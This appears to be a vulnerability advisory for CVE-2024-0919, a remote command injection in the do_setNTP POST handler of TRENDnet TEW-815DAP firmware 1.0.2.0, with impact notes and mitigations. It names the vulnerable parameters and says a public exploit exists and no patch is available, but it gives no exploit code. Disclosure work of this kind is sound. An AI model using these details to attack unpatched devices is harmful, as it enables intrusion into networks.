CVE-2024-0919
Overview
The vulnerability is a command injection flaw rooted in improper input validation of the NtpDstStart and NtpDstEnd parameters within the do_setNTP function. This function is part of the POST Request Handler component in TRENDnet TEW-815DAP firmware version 1.0.2.0. Unsanitized manipulation of these arguments allows injection of arbitrary commands into the system shell.
Vulnerability Description
A vulnerability was found in TRENDnet TEW-815DAP 1.0.2.0. It has been classified as critical. This affects the function do_setNTP of the component POST Request Handler. The manipulation of the argument NtpDstStart/NtpDstEnd leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252123. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
Impact
An attacker with network access and low privileges can remotely execute arbitrary system commands on the affected device by exploiting the command injection in the NTP configuration handler. This can lead to full compromise of the device, including unauthorized control over system processes and data. The vulnerability requires no user interaction and is exploitable remotely (CVSS vector AV:N/AC:L/PR:L/UI:N), enabling potential disruption of network services or lateral movement within the environment.
Solution
No official vendor patch or advisory has been released as the vendor did not respond to disclosure. Users should monitor the TRENDnet support channels and the referenced vulnerability database (VDB-252123) for updates. Until a patch is available, restricting network access to the device's management interface and disabling remote NTP configuration may mitigate exploitation risk. Refer to https://vuldb.com/?id.252123 for ongoing status and mitigation recommendations.

Full Analysis
A critical vulnerability has been identified in the TRENDnet TEW-815DAP access point, specifically within the do_setNTP function of the POST Request Handler. This flaw arises from improper handling of user-supplied input related to the NtpDstStart and NtpDstEnd parameters. By manipulating these arguments, an attacker can execute arbitrary commands on the device, leading to potential unauthorized access and control over the affected system. The nature of this vulnerability indicates a serious oversight in input validation, which is essential for maintaining the integrity and security of network devices.
The attack vector for this vulnerability is particularly concerning due to its remote exploitability. An attacker does not require physical access to the device, enabling them to launch attacks from anywhere on the internet. This remote capability significantly broadens the potential threat landscape, as malicious actors can target devices that are inadequately secured or misconfigured. Exploitation scenarios may involve an attacker sending specially crafted HTTP POST requests to the device, thereby injecting malicious commands that could lead to a full compromise of the access point. Once compromised, the attacker could manipulate network traffic, intercept sensitive data, or use the device as a launchpad for further attacks within the network.
The real-world impact of this vulnerability is substantial, particularly for businesses relying on TRENDnet devices for their network infrastructure. If exploited, the vulnerability could lead to significant business risks, including data breaches, loss of customer trust, and potential regulatory penalties for failing to secure sensitive information. Additionally, the compromised access point could serve as a gateway for attackers to infiltrate internal networks, potentially leading to further exploits and data exfiltration. The public disclosure of this vulnerability amplifies the urgency for organizations to address the issue, as it provides malicious actors with the information needed to develop and deploy effective attack strategies.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware is critical, as vendors often release patches to address known vulnerabilities. In this case, users of the TRENDnet TEW-815DAP should monitor for any updates from the manufacturer and apply them promptly. Additionally, network segmentation can help limit the impact of a compromised device by isolating it from sensitive systems. Employing intrusion detection systems (IDS) can also aid in identifying suspicious activity related to the exploitation of this vulnerability. Organizations should conduct regular security audits and vulnerability assessments to ensure that all devices are adequately protected against known threats.
In conclusion, the vulnerability in the TRENDnet TEW-815DAP access point poses a significant risk to network security, with the potential for severe consequences if left unaddressed. The combination of remote exploitability and the ability to execute arbitrary commands makes it a prime target for attackers. Organizations must take proactive measures to detect, mitigate, and respond to this threat to safeguard their networks and maintain the integrity of their operations. By prioritizing security best practices and staying informed about emerging vulnerabilities, businesses can better protect themselves against the evolving landscape of cyber threats.
